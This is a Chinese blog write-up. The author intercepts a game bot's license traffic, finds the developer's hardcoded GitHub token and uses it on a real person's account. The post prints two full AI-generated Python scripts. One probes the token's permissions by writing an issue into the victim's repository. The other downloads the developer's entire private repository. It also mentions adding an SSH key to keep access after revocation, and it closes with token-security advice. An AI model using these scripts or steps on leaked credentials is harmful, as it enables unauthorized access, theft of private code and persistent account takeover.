本文首发于国家网络空间安全云社区,作者AabyssZG
0# 我的SCUM人渣服务器

最近和朋友一起玩人渣,自己搭建了一个SCUM服务器私人服务器,这游戏可好玩了,感兴趣的师傅可以找我一起玩哈哈!

实机截图如下:


玩着玩着,就想着拓展一下玩法,就找到了一款机器人软件

看着这个图标,典型使用Python进行编译的,就想着逆向一下试着破解练练手,结果没想到都不需要破解,一个小时就拿下了!
1# 对软件开展抓包

正常一些客户端验证License授权,都会使用验证服务器,就是对服务器发包,验证当前的授权密钥是否为正确且未激活的

如果是正确且未激活的,会上传本机的机器码,并返回验证成功的结果,随后启动客户端的时候会验证机器码是否一致来判断该License授权是否合法
那我开始尝试对这个机器人客户端开始抓包,先配置一下熟悉的Proxifier,并开启Yakit的监听:

然后我随便在授权密匙输入1111,点击“立即激活”,Yakit成功抓到数据包:

我勒个乖,看看抓到了什么?我抓到了开发者的Github个人访问令牌!!!关于这个可以看Github的官方说明: 管理个人访问令牌 - Github文档
而且通过返回包来看,这个令牌拥有最高权限!
X-OAuth-Scopes: admin:public_key, repo我访问了一下这个项目,是作者的私密项目,相当于作者自己搞了个人访问令牌进自己的私密项目查License授权是否合法:

2# 权限验证
既然拿到Github个人访问令牌,如何验证权限大小,我直接让Kimi大模型给我生成一个脚本:

具体代码如下:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
GitHub Token 权限检测工具
检测 Token 的权限范围、可访问仓库、能否修改等
"""
import sys
import json
import requests
class GitHubTokenScanner:
def __init__(self, token, proxies=None):
self.token = token
self.proxies = proxies or {}
self.headers = {
"Authorization": f"Bearer {token}",
"Accept": "application/vnd.github.v3+json",
"User-Agent": "Token-Scanner"
}
self.base_url = "https://api.github.com"
self.results = {
"token_type": None,
"scopes": [],
"user": None,
"can_read_repos": [],
"can_write_repos": [],
"can_admin": False,
"can_delete_repo": False,
"can_invite_collaborators": False,
"enterprise": False,
"rate_limit": {}
}
def _get(self, endpoint):
"""发送 GET 请求"""
url = f"{self.base_url}{endpoint}"
try:
resp = requests.get(url, headers=self.headers, proxies=self.proxies, timeout=30)
return resp
except Exception as e:
print(f"[-] 请求失败: {e}")
return None
def detect_token_type(self):
"""检测 Token 类型和基础权限"""
print("[*] 检测 Token 类型和基础权限...")
resp = self._get("/user")
if not resp:
print("[-] 无法连接 GitHub API")
return False
# 从响应头获取 OAuth Scopes
scopes_header = resp.headers.get('X-OAuth-Scopes', '')
self.results['scopes'] = [s.strip() for s in scopes_header.split(',') if s.strip()]
print(f" [+] HTTP 状态: {resp.status_code}")
print(f" [+] OAuth Scopes: {self.results['scopes'] or '无(仅 public 访问)'}")
if resp.status_code == 200:
data = resp.json()
self.results['user'] = {
'login': data.get('login'),
'type': data.get('type'),
'name': data.get('name'),
'email': data.get('email'),
'id': data.get('id')
}
print(f" [+] 用户: {data.get('login')} ({data.get('type')})")
# 判断 Token 类型
if 'ghp_' in self.token:
self.results['token_type'] = "Personal Access Token (Classic)"
elif 'github_pat_' in self.token:
self.results['token_type'] = "Fine-grained Personal Access Token"
elif 'gho_' in self.token:
self.results['token_type'] = "OAuth Token"
elif 'ghu_' in self.token:
self.results['token_type'] = "GitHub App User Token"
else:
self.results['token_type'] = "Unknown"
print(f" [+] Token 类型: {self.results['token_type']}")
elif resp.status_code == 401:
print("[-] Token 无效或已过期")
return False
elif resp.status_code == 403:
print("[-] Token 被限制或速率限制")
return False
return True
def check_repo_permissions(self):
"""检测仓库读写权限"""
print("\n[*] 检测仓库访问权限...")
# 获取可访问的仓库列表
resp = self._get("/user/repos?per_page=100&sort=updated")
if not resp or resp.status_code != 200:
print("[-] 无法获取仓库列表")
return
repos = resp.json()
print(f" [+] 可访问仓库数: {len(repos)}")
for repo in repos[:10]: # 只显示前10个
name = repo['full_name']
permissions = repo.get('permissions', {})
perm_str = []
if permissions.get('admin'): perm_str.append('admin')
if permissions.get('push'): perm_str.append('write')
if permissions.get('pull'): perm_str.append('read')
print(f" [+] {name}: {', '.join(perm_str)}")
if permissions.get('push') or permissions.get('admin'):
self.results['can_write_repos'].append(name)
elif permissions.get('pull'):
self.results['can_read_repos'].append(name)
if len(repos) > 10:
print(f" ... 还有 {len(repos) - 10} 个仓库未显示")
def check_write_permission(self):
"""测试是否有写入权限(创建/修改)"""
print("\n[*] 测试写入权限...")
# 检查是否有 repo scope
if 'repo' not in self.results['scopes'] and 'public_repo' not in self.results['scopes']:
print(" [-] Token 没有 repo 或 public_repo scope,无法修改仓库")
return
# 尝试获取一个可写仓库来测试
if not self.results['can_write_repos']:
print(" [-] 没有找到可写仓库")
return
test_repo = self.results['can_write_repos'][0]
print(f" [*] 测试仓库: {test_repo}")
# 测试 1: 获取仓库信息(读权限)
resp = self._get(f"/repos/{test_repo}")
if resp and resp.status_code == 200:
print(f" [+] 读取仓库: OK")
else:
print(f" [-] 读取仓库: FAILED")
# 测试 2: 尝试创建 issue(写权限,不破坏数据)
url = f"{self.base_url}/repos/{test_repo}/issues"
try:
test_resp = requests.post(
url,
headers=self.headers,
proxies=self.proxies,
json={"title": "权限测试", "body": "这是一个权限测试,请忽略并关闭"},
timeout=30
)
if test_resp.status_code == 201:
print(f" [+] 创建 Issue: OK(有写入权限)")
# 清理:关闭刚创建的 issue
issue_num = test_resp.json().get('number')
requests.patch(
f"{url}/{issue_num}",
headers=self.headers,
proxies=self.proxies,
json={"state": "closed"},
timeout=30
)
elif test_resp.status_code == 403:
print(f" [-] 创建 Issue: 权限不足")
else:
print(f" [-] 创建 Issue: HTTP {test_resp.status_code}")
except Exception as e:
print(f" [-] 写入测试失败: {e}")
def check_admin_permissions(self):
"""检测管理员权限"""
print("\n[*] 检测管理员权限...")
# 检查是否有 delete_repo scope
if 'delete_repo' in self.results['scopes']:
self.results['can_delete_repo'] = True
print(" [!] 有删除仓库权限 (delete_repo)")
else:
print(" [+] 无删除仓库权限")
# 检查是否有邀请协作者权限
if 'repo' in self.results['scopes']:
print(" [!] 有完整仓库权限(可修改代码、设置、协作者)")
self.results['can_invite_collaborators'] = True
def check_rate_limit(self):
"""检查速率限制"""
print("\n[*] 检查速率限制...")
resp = self._get("/rate_limit")
if resp and resp.status_code == 200:
data = resp.json()
core = data['resources']['core']
print(f" [+] 核心限制: {core['limit']}/小时")
print(f" [+] 已使用: {core['used']}")
print(f" [+] 剩余: {core['remaining']}")
print(f" [+] 重置时间: {core['reset']}")
self.results['rate_limit'] = core
def check_enterprise(self):
"""检查是否是企业版"""
print("\n[*] 检查企业版权限...")
resp = self._get("/user/orgs")
if resp and resp.status_code == 200:
orgs = resp.json()
print(f" [+] 所属组织数: {len(orgs)}")
for org in orgs[:5]:
print(f" [+] 组织: {org.get('login')}")
def run_full_scan(self):
"""运行完整扫描"""
print("=" * 60)
print("GitHub Token 权限扫描器")
print("=" * 60)
print(f"[*] 扫描 Token: {self.token[:10]}...{self.token[-4:]}")
print()
if not self.detect_token_type():
return
self.check_repo_permissions()
self.check_write_permission()
self.check_admin_permissions()
self.check_rate_limit()
self.check_enterprise()
# 输出总结
print("\n" + "=" * 60)
print("扫描总结")
print("=" * 60)
print(f"Token 类型: {self.results['token_type']}")
print(f"所属用户: {self.results['user']['login'] if self.results['user'] else 'Unknown'}")
print(f"权限范围: {', '.join(self.results['scopes']) or 'None'}")
print(f"可写仓库数: {len(self.results['can_write_repos'])}")
print(f"只读仓库数: {len(self.results['can_read_repos'])}")
print(f"可删除仓库: {'是' if self.results['can_delete_repo'] else '否'}")
print(f"可邀请协作者: {'是' if self.results['can_invite_collaborators'] else '否'}")
print("=" * 60)
# 风险提示
high_risk = []
if 'repo' in self.results['scopes']:
high_risk.append("可读写所有仓库(包括私有)")
if 'delete_repo' in self.results['scopes']:
high_risk.append("可删除仓库")
if 'admin:org' in self.results['scopes']:
high_risk.append("可管理组织")
if high_risk:
print("\n[!] 高风险权限:")
for risk in high_risk:
print(f" - {risk}")
print("\n[!] 建议:如果此 Token 泄露,请立即撤销!")
def main():
if len(sys.argv) < 2:
print("用法: python github_token_scanner.py <token> [proxy_url]")
print("示例: python github_token_scanner.py ghp_xxxxxxxxx")
print(" python github_token_scanner.py ghp_xxxxxxxxx http://127.0.0.1:7890")
sys.exit(1)
token = sys.argv[1]
proxies = {}
if len(sys.argv) >= 3:
proxy = sys.argv[2]
proxies = {
'http': proxy,
'https': proxy
}
print(f"[*] 使用代理: {proxy}")
scanner = GitHubTokenScanner(token, proxies)
scanner.run_full_scan()
if __name__ == "__main__":
main()OK,很有精神!
python github_token_scanner.py ghp_L************* http://127.0.0.1:7897我直接一把嗦,搞定3个仓库的权限!

3# License授权机制研究
那我就毫不留情的开始研究这个令牌和数据包,这个机器人客户端总共发送了两个数据包,分别对 api.github.com 请求了这两个API接口:
/repos/作者ID/****bot
/repos/作者ID/****bot/git/trees/main?recursive=1这两个接口分别有以下作用:
- 通过 GitHub API 请求
GET /repos/{owner}/{repo}这个接口,可以获取该仓库的基础元信息(如名称、描述、权限、统计数、克隆地址等),相当于仓库的"身份证"; - 通过 GitHub API 请求
GET /repos/{owner}/{repo}/trees/main?recursive=1这个接口,可以获取仓库 main 分支的完整文件目录树(含所有子目录和文件路径)。
我还用Kimi大模型问了一嘴,发现还有接口能够实现对项目文件的下载:

那我调用接口试一下下载这个私密项目的README,给我看看!

芜湖,处理一下Base64解码就可以看到源文件内容:

OK理论存在,开始操作,马上让Kimi给我生成脚本,通过Github个人访问令牌下载指定仓库的所有内容:

Python代码如下:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
GitHub 仓库完整下载工具
用法: python github_repo_downloader.py <owner/repo> <token> [proxy]
示例: python github_repo_downloader.py <owner/repo> ghp_xxxxxxxxx
python github_repo_downloader.py <owner/repo> ghp_xxxxxxxxx http://127.0.0.1:7890
"""
import sys
import os
import json
import base64
import time
# 尝试导入 requests,如果没有则提示安装
try:
import requests
HAS_REQUESTS = True
except ImportError:
print("[-] 错误: 需要安装 requests 库")
print(" 运行: pip install requests")
sys.exit(1)
class GitHubRepoDownloader:
def __init__(self, repo_full_name, token, proxy_url=None):
"""
repo_full_name: "owner/repo" 格式
token: GitHub Personal Access Token
proxy_url: 可选代理,如 "http://127.0.0.1:7890"
"""
self.repo = repo_full_name
self.token = token
self.base_url = "https://api.github.com"
self.headers = {
"Authorization": f"Bearer {token}",
"Accept": "application/vnd.github.v3+json",
"User-Agent": "GitHub-Repo-Downloader"
}
# 代理配置
self.proxies = {}
if proxy_url:
self.proxies = {'http': proxy_url, 'https': proxy_url}
# 也检查环境变量
elif os.environ.get('HTTP_PROXY') or os.environ.get('HTTPS_PROXY'):
self.proxies = {
'http': os.environ.get('HTTP_PROXY', os.environ.get('http_proxy', '')),
'https': os.environ.get('HTTPS_PROXY', os.environ.get('https_proxy', ''))
}
# 统计
self.stats = {
'dirs_created': 0,
'files_downloaded': 0,
'files_skipped': 0,
'total_bytes': 0,
'errors': []
}
def _request(self, method, endpoint, **kwargs):
"""发送请求并处理错误"""
url = f"{self.base_url}{endpoint}"
try:
resp = requests.request(
method, url,
headers=self.headers,
proxies=self.proxies,
timeout=30,
**kwargs
)
# 处理速率限制
if resp.status_code == 403 and 'X-RateLimit-Remaining' in resp.headers:
remaining = int(resp.headers.get('X-RateLimit-Remaining', 0))
if remaining == 0:
reset_time = int(resp.headers.get('X-RateLimit-Reset', 0))
wait = max(reset_time - int(time.time()), 0) + 1
print(f" [!] 速率限制,等待 {wait} 秒...")
time.sleep(wait)
return self._request(method, endpoint, **kwargs)
return resp
except requests.exceptions.ProxyError as e:
self.stats['errors'].append(f"代理错误: {e}")
return None
except requests.exceptions.ConnectionError:
self.stats['errors'].append("无法连接 GitHub,请检查网络或代理")
return None
except Exception as e:
self.stats['errors'].append(f"请求异常: {e}")
return None
def get_default_branch(self):
"""获取仓库默认分支"""
print(f"[*] 获取仓库信息: {self.repo}")
resp = self._request("GET", f"/repos/{self.repo}")
if not resp or resp.status_code != 200:
if resp and resp.status_code == 404:
print(f"[-] 仓库不存在或无权访问: {self.repo}")
elif resp and resp.status_code == 401:
print(f"[-] Token 无效或权限不足")
else:
print(f"[-] 获取仓库信息失败: HTTP {resp.status_code if resp else 'N/A'}")
return None
data = resp.json()
branch = data.get('default_branch', 'main')
is_private = data.get('private', False)
print(f" [+] 仓库: {data.get('full_name')}")
print(f" [+] 描述: {data.get('description') or '无'}")
print(f" [+] 私有: {'是' if is_private else '否'}")
print(f" [+] 默认分支: {branch}")
print(f" [+] Stars: {data.get('stargazers_count', 0)}")
return branch
def get_tree(self, sha, recursive=True):
"""获取目录树"""
endpoint = f"/repos/{self.repo}/git/trees/{sha}"
if recursive:
endpoint += "?recursive=1"
resp = self._request("GET", endpoint)
if not resp or resp.status_code != 200:
return None
return resp.json()
def download_blob(self, url, local_path, size=0):
"""下载单个文件"""
resp = self._request("GET", url.replace(self.base_url, ""))
if not resp or resp.status_code != 200:
return False
data = resp.json()
if data.get('encoding') == 'base64':
content = base64.b64decode(data['content'])
else:
content = data.get('content', b'')
if isinstance(content, str):
content = content.encode('utf-8')
# 写入文件
with open(local_path, 'wb') as f:
f.write(content)
self.stats['files_downloaded'] += 1
self.stats['total_bytes'] += len(content)
size_str = f"({len(content)} bytes)" if size == 0 else f"({size} bytes)"
print(f" [+] {os.path.basename(local_path)} {size_str}")
return True
def download_raw(self, path, local_path):
"""通过 raw 链接下载(备用方案)"""
url = f"https://raw.githubusercontent.com/{self.repo}/{self.branch}/{path}"
try:
resp = requests.get(
url,
headers={"Authorization": f"Bearer {self.token}"},
proxies=self.proxies,
timeout=30
)
if resp.status_code == 200:
with open(local_path, 'wb') as f:
f.write(resp.content)
self.stats['files_downloaded'] += 1
self.stats['total_bytes'] += len(resp.content)
print(f" [+] {os.path.basename(local_path)} ({len(resp.content)} bytes) [raw]")
return True
except Exception as e:
pass
return False
def process_tree_item(self, item, base_path):
"""处理单个 tree 项"""
path = item['path']
item_type = item['type']
full_local_path = os.path.join(base_path, path)
if item_type == 'tree':
# 创建目录
os.makedirs(full_local_path, exist_ok=True)
self.stats['dirs_created'] += 1
print(f"[+] 目录: {path}/")
elif item_type == 'blob':
# 确保父目录存在
parent = os.path.dirname(full_local_path)
if parent:
os.makedirs(parent, exist_ok=True)
# 跳过已存在的文件(可选:检查大小)
if os.path.exists(full_local_path):
local_size = os.path.getsize(full_local_path)
if local_size == item.get('size', 0):
print(f" [=] {os.path.basename(path)} (已存在,跳过)")
self.stats['files_skipped'] += 1
return
print(f"[*] 下载: {path}")
# 方式一:通过 blob API
success = self.download_blob(item['url'], full_local_path, item.get('size', 0))
# 方式二:如果 blob 失败,尝试 raw
if not success:
print(f" [*] 尝试 raw 链接...")
success = self.download_raw(path, full_local_path)
if not success:
self.stats['files_skipped'] += 1
self.stats['errors'].append(f"下载失败: {path}")
print(f" [-] 失败: {path}")
def download_repo(self, output_dir=None):
"""下载完整仓库"""
# 1. 获取默认分支
self.branch = self.get_default_branch()
if not self.branch:
return False
# 2. 设置输出目录
if not output_dir:
output_dir = self.repo.replace('/', '_')
base_path = os.path.join(os.getcwd(), output_dir)
os.makedirs(base_path, exist_ok=True)
print(f"[*] 输出目录: {base_path}")
print(f"[*] 开始下载...")
print("-" * 50)
# 3. 获取最新 commit 的 tree sha
resp = self._request("GET", f"/repos/{self.repo}/git/refs/heads/{self.branch}")
if not resp or resp.status_code != 200:
print(f"[-] 获取分支信息失败")
return False
commit_sha = resp.json().get('object', {}).get('sha')
if not commit_sha:
print(f"[-] 无法获取 commit SHA")
return False
# 4. 获取完整 tree(递归)
print(f"[*] 获取文件列表...")
tree_data = self.get_tree(commit_sha, recursive=True)
if not tree_data:
print(f"[-] 获取目录树失败")
return False
items = tree_data.get('tree', [])
truncated = tree_data.get('truncated', False)
print(f"[*] 发现 {len(items)} 个对象" + (" (已截断)" if truncated else ""))
print()
# 5. 逐个处理
for i, item in enumerate(items, 1):
self.process_tree_item(item, base_path)
# 每 10 个文件显示进度
if i % 10 == 0:
print(f" 进度: {i}/{len(items)} ({i*100//len(items)}%)")
# 6. 输出统计
print("-" * 50)
print(f"[+] 下载完成!")
print(f" 目录创建: {self.stats['dirs_created']}")
print(f" 文件下载: {self.stats['files_downloaded']}")
print(f" 文件跳过: {self.stats['files_skipped']}")
print(f" 总大小: {self.stats['total_bytes']:,} bytes ({self.stats['total_bytes']/1024/1024:.2f} MB)")
if self.stats['errors']:
print(f" 错误数: {len(self.stats['errors'])}")
for err in self.stats['errors'][:5]:
print(f" - {err}")
print(f"[+] 文件保存在: {base_path}")
return True
def main():
if len(sys.argv) < 3:
print("GitHub 仓库完整下载工具")
print("=" * 50)
print("用法:")
print(" python github_repo_downloader.py <owner/repo> <token> [proxy]")
print()
print("参数:")
print(" owner/repo 仓库全名")
print(" token GitHub Personal Access Token")
print(" proxy 可选代理地址,如 http://127.0.0.1:7890")
print()
print("示例:")
print(" python github_repo_downloader.py <owner/repo> ghp_xxxxxx")
print(" python github_repo_downloader.py torvalds/linux ghp_xxxxxx http://127.0.0.1:7890")
print()
print("环境变量代理:")
print(" set HTTP_PROXY=http://127.0.0.1:7890")
print(" set HTTPS_PROXY=http://127.0.0.1:7890")
sys.exit(1)
repo = sys.argv[1]
token = sys.argv[2]
proxy = sys.argv[3] if len(sys.argv) >= 4 else None
# 验证 repo 格式
if '/' not in repo or repo.count('/') != 1:
print("[-] 仓库名格式错误,应为 'owner/repo'")
sys.exit(1)
print("=" * 50)
print("GitHub 仓库下载工具")
print("=" * 50)
print(f"[*] 目标仓库: {repo}")
if proxy:
print(f"[*] 使用代理: {proxy}")
elif os.environ.get('HTTP_PROXY') or os.environ.get('HTTPS_PROXY'):
print(f"[*] 使用环境代理")
print()
downloader = GitHubRepoDownloader(repo, token, proxy)
success = downloader.download_repo()
sys.exit(0 if success else 1)
if __name__ == "__main__":
main()执行完,成功下载这个私有License仓库的所有文件:

看完仓库内容,发现这个机器人客户端的License授权原理如下:
- 输入授权密匙后,通过调用Token去查询私有License仓库里的
unsed未激活文件夹存有对应授权密匙.json文件,且检测到activated已激活文件夹内没有对应授权密匙.json文件,就上传机器码,调用Token将激活日期和机器码写入activated已激活文件夹的授权密匙.json文件,并删除unsed未激活文件夹内的json文件; - 如果检测到
activated已激活文件夹内存有对应授权密匙.json文件,并且机器码不一致,就回显“该卡密已被其他机器激活”,激活失败; - 如果检测到
activated已激活文件夹内存有对应授权密匙.json文件,并且机器码一致,就回显“授权密匙激活成功,已绑定到当前机器”,激活成功。


4# 拓展与漏洞修复
我后续又问了Kimi大模型,问这个Token除了读写仓库代码,还能做很多事:

能够添加自己的 SSH 公钥到目标账号 → 即使 Token 撤销,SSH 还能访问
对于这个License验证流程,我找Kimi交流了几分钟,生成了一个更安全的方案,当然不一定成熟,欢迎师傅们一起交流讨论:

文字版流程如下:
License 激活系统
├── 公开库 licenses(只读)
│ ├── unused.json → MD5列表(未激活)
│ ├── activated.json → MD5+machine_id+expires
│ └── issued/{machine_id}.json → 个人许可证
│
├── 私有库 keys-db(管理读写)
│ └── pool.json → 明文卡密池
│
├── GitHub Actions(激活服务)
│ └── 查 activated → 查 pool → 标记 → 生成许可证
│
├── 客户端软件
│ └── 输入卡密 → 算MD5 → 查unused → 触发Actions → 下载许可证 → 本地验证
│
└── 管理端
└── 生成卡密 → 计算MD5 → 写入pool.json → 同步到unused.json5# 总结
本次能从SCUM机器人看Github个人访问令牌安全,这属实没想到,只不过SCUM这游戏真好玩嘿嘿嘿~

关于 GitHub Token 的安全使用建议:
- 最小权限原则:创建 Token 时只授予完成任务所需的最小权限,避免使用全权限的 repo 或 workflow 范围,优先使用 Fine-grained personal access tokens(精细令牌),可以精确到特定仓库和具体操作;
- 设置有效期与定期轮换:为 Token 设置明确的过期时间,不要创建永久有效的 Token。建立定期轮换机制,到期后立即撤销旧 Token 并生成新 Token;
- 安全存储与传输:切勿将 Token 硬编码在代码中或提交到仓库,避免在客户端脚本或日志中明文输出,使用环境变量、密钥管理器或本地凭证助手存储,传输时确保使用 HTTPS;
- 监控与审计:定期在 GitHub 账户审查已授权的 Token 列表,及时撤销不再使用或可疑的 Token。启用 GitHub 的密钥扫描功能,防止意外泄露。

冲冲冲!
评论 (0)